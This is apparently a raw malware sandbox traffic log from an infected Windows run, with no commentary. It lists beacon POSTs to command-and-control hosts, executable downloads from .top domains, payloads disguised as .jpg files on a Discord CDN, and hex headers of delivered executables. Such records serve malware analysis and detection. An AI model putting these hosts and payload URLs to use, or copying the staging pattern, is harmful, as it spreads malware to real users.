Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: text/plain; charset=UTF-8Content-Length: 132Host: 91.219.236.97
Source: global traffic	HTTP traffic detected: GET //l/f/9Z2CynwB3dP17SpzOnMI/019cd02588367c4185228009642767b5fca228df HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: 91.219.236.97
Source: global traffic	HTTP traffic detected: GET //l/f/9Z2CynwB3dP17SpzOnMI/07191d3d9db3dbffa0d8f6d32b0cace6fdafa466 HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: 91.219.236.97

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 29 Oct 2021 18:29:21 GMTServer: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.5.38Last-Modified: Fri, 29 Oct 2021 18:29:01 GMTETag: "54000-5cf820050e185"Accept-Ranges: bytesContent-Length: 344064Connection: closeContent-Type: application/octet-streamData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 07 15 19 94 43 74 77 c7 43 74 77 c7 43 74 77 c7 2c 02 dc c7 6e 74 77 c7 2c 02 e9 c7 61 74 77 c7 2c 02 dd c7 3c 74 77 c7 4a 0c e4 c7 44 74 77 c7 43 74 76 c7 3c 74 77 c7 2c 02 d8 c7 42 74 77 c7 2c 02 ed c7 42 74 77 c7 2c 02 ea c7 42 74 77 c7 52 69 63 68 43 74 77 c7 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 36 ca 8e 60 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 be 03 00 00 c4 70 02 00 00 00 00 40 c3 01 00 00 10 00 00 00 d0 03 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 c0 74 02 00 04 00 00 31 96 05 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 94 c1 03 00 50 00 00 00 00 50 73 02 a8 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 73 02 3c 1b 00 00 30 12 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 b8 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 dc 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 d0 bc 03 00 00 10 00 00 00 be 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 a4 69 6f 02 00 d0 03 00 00 16 00 00 00 c2 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6c 75 66 75 6c 61 63 e5 02 00 00 00 40 73 02 00 04 00 00 00 d8 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 a8 3f 00 00 00 50 73 02 00 40 00 00 00 dc 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 1c 22 01 00 00 90 73 02 00 24 01 00 00 1c 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 29 Oct 2021 18:30:00 GMTServer: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.5.38Last-Modified: Fri, 29 Oct 2021 18:29:02 GMTETag: "92800-5cf820058192d"Accept-Ranges: bytesContent-Length: 600064Connection: closeContent-Type: application/octet-streamData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 07 15 19 94 43 74 77 c7 43 74 77 c7 43 74 77 c7 2c 02 dc c7 6e 74 77 c7 2c 02 e9 c7 61 74 77 c7 2c 02 dd c7 3c 74 77 c7 4a 0c e4 c7 44 74 77 c7 43 74 76 c7 3c 74 77 c7 2c 02 d8 c7 42 74 77 c7 2c 02 ed c7 42 74 77 c7 2c 02 ea c7 42 74 77 c7 52 69 63 68 43 74 77 c7 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 00 29 52 5f 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 a6 07 00 00 c4 70 02 00 00 00 00 50 ac 05 00 00 10 00 00 00 c0 07 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 b0 78 02 00 04 00 00 1b 9f 09 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 a4 aa 07 00 50 00 00 00 00 40 77 02 a8 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 77 02 30 1b 00 00 30 12 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 a1 05 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 dc 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 e0 a5 07 00 00 10 00 00 00 a6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 a4 69 6f 02 00 c0 07 00 00 16 00 00 00 aa 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 76 69 74 6f 00 00 00 e5 02 00 00 00 30 77 02 00 04 00 00 00 c0 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 a8 3f 00 00 00 40 77 02 00 40 00 00 00 c4 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 1c 22 01 00 00 80 77 02 00 24 01 00 00 04 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Fri, 29 Oct 2021 18:30:35 GMTContent-Type: application/octet-streamContent-Length: 916735Connection: keep-aliveLast-Modified: Wed, 01 Sep 2021 16:21:39 GMTETag: "612fa893-dfcff"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 17 19 74 5c 00 10 0c 00 12 10 00 00 e0 00 06 21 0b 01 02 19 00 5a 09 00 00 04 0b 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 70 09 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 b0 0c 00 00 06 00 00 1c 87 0e 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 c0 0a 00 9d 20 00 00 00 f0 0a 00 48 0c 00 00 00 20 0b 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 0b 00 bc 33 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 10 0b 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 f1 0a 00 b4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 58 58 09 00 00 10 00 00 00 5a 09 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 fc 1b 00 00 00 70 09 00 00 1c 00 00 00 60 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 14 1f 01 00 00 90 09 00 00 20 01 00 00 7c 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 b0 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 9d 20 00 00 00 c0 0a 00 00 22 00 00 00 9c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 48 0c 00 00 00 f0 0a 00 00 0e 00 00 00 be 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 00 0b 00 00 02 00 00 00 cc 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 10 0b 00 00 02 00 00 00 ce 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 20 0b 00 00 06 00 00 00 d0 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 bc 33 00 00 00 30 0b 00 00 34 00 00 00 d6 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 d8 02 00 00 00 70 0b 00 00 04 00 00 00 0a 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 d8 98 00 00 00 80 0b 00 00 9a 00 00 00 0e 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 f5 1a 00 00 00 20 0c 00 00 1c 00 00 00 a8 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 80 1a 00 00 00 40 0c 00 00 1c

Source: unknown

HTTPS traffic detected: 162.159.135.233:443 -> 192.168.2.7:49794 version: TLS 1.0

Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://rctoc.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 154Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://cufneavefi.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 207Host: hajezey1.top
Source: global traffic	HTTP traffic detected: GET /downloads/toolspab2.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: privacytoolzforyou-6000.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ctxsek.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 319Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ivcdxqts.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 214Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://hqtrcnnq.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 243Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://qhvnsfthad.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 322Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://mwdvnqc.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 295Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://rprqyk.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 168Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://pjooem.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 125Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://hfhoss.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 268Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://hgdpvqs.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 142Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ryqdxjurg.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 280Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://jjrxemk.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 173Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://efeydlty.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 347Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://glvslni.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 328Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://jbxuhdvj.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 263Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://axwrxhk.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 177Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://dkannuwrja.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 214Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://naytoe.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 204Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://bggaruuq.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 246Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://bcaielan.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 163Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://sangssr.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 260Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://eyepud.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 154Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://dkvmgnfi.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 147Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://wbdqtrry.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 115Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://mkaqxiicba.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 355Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://taupwpt.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 152Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://blslkdmyqd.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 362Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://chucxho.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 365Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://futucrxk.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 136Host: hajezey1.top
Source: global traffic	HTTP traffic detected: GET /game.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: sysaheu90.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://iyxlcdj.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 274Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ayllaycsn.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 183Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://xcwoodah.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 317Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://vtlkrwbu.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 227Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ohksryibbc.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 333Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://aandk.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 237Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://sbvoxgf.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 167Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://qhsdwx.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 309Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://akpvscwiwg.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 322Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://fftaocheul.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 110Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://uqktie.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 194Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://tkhdy.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 212Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://hhnkknumd.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 315Host: hajezey1.top

Source: global traffic

TCP traffic: 192.168.2.7:49818 -> 93.115.20.139:28978

Source: C1B2.exe, 00000015.00000002.614812023.000000000156F000.00000004.00000020.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: C1B2.exe	String found in binary or memory: http://fontello.com
Source: EA8A.exe, 00000018.00000000.417957368.0000000000FA2000.00000002.00020000.sdmp	String found in binary or memory: http://tempuri.org/DetailsDataSet1.xsd
Source: explorer.exe, 00000004.00000000.287991711.0000000006840000.00000004.00000001.sdmp	String found in binary or memory: http://www.autoitscript.com/autoit3/J
Source: AdvancedRun.exe, AdvancedRun.exe, 0000001B.00000000.419935360.000000000040C000.00000002.00020000.sdmp	String found in binary or memory: http://www.nirsoft.net/
Source: EA8A.exe, 00000018.00000000.417957368.0000000000FA2000.00000002.00020000.sdmp	String found in binary or memory: https://cdn.discordapp.com/attachments/893177342426509335/902526114763767818/A623D0D3.jpg
Source: EA8A.exe, 00000018.00000000.417957368.0000000000FA2000.00000002.00020000.sdmp	String found in binary or memory: https://cdn.discordapp.com/attachments/893177342426509335/902526117016109056/AB0F9338.jpg
Source: C1B2.exe	String found in binary or memory: https://cdn.discordapp.com/attachments/893177342426509335/903702020781907998/4D0A6361.jpg

Source: unknown

DNS traffic detected: queries for: xacokuo8.top

Source: C:\Users\user\AppData\Local\Temp\DF9C.exe

Code function: 29_2_004070B4 HttpOpenRequestA,HttpSendRequestA,InternetReadFile,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

29_2_004070B4

Source: global traffic	HTTP traffic detected: GET /attachments/893177342426509335/903575517888925756/6D9E3C88.jpg HTTP/1.1Host: cdn.discordapp.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /attachments/893177342426509335/903575519373697084/F83CB811.jpg HTTP/1.1Host: cdn.discordapp.com
Source: global traffic	HTTP traffic detected: GET /attachments/893177342426509335/903702020781907998/4D0A6361.jpg HTTP/1.1Host: cdn.discordapp.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /attachments/893177342426509335/902526114763767818/A623D0D3.jpg HTTP/1.1Host: cdn.discordapp.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /attachments/893177342426509335/902526117016109056/AB0F9338.jpg HTTP/1.1Host: cdn.discordapp.com
Source: global traffic	HTTP traffic detected: GET /downloads/toolspab2.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: privacytoolzforyou-6000.top
Source: global traffic	HTTP traffic detected: GET /game.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: sysaheu90.top
Source: global traffic	HTTP traffic detected: GET /agrybirdsgamerept HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: text/plain; charset=UTF-8Host: toptelete.top
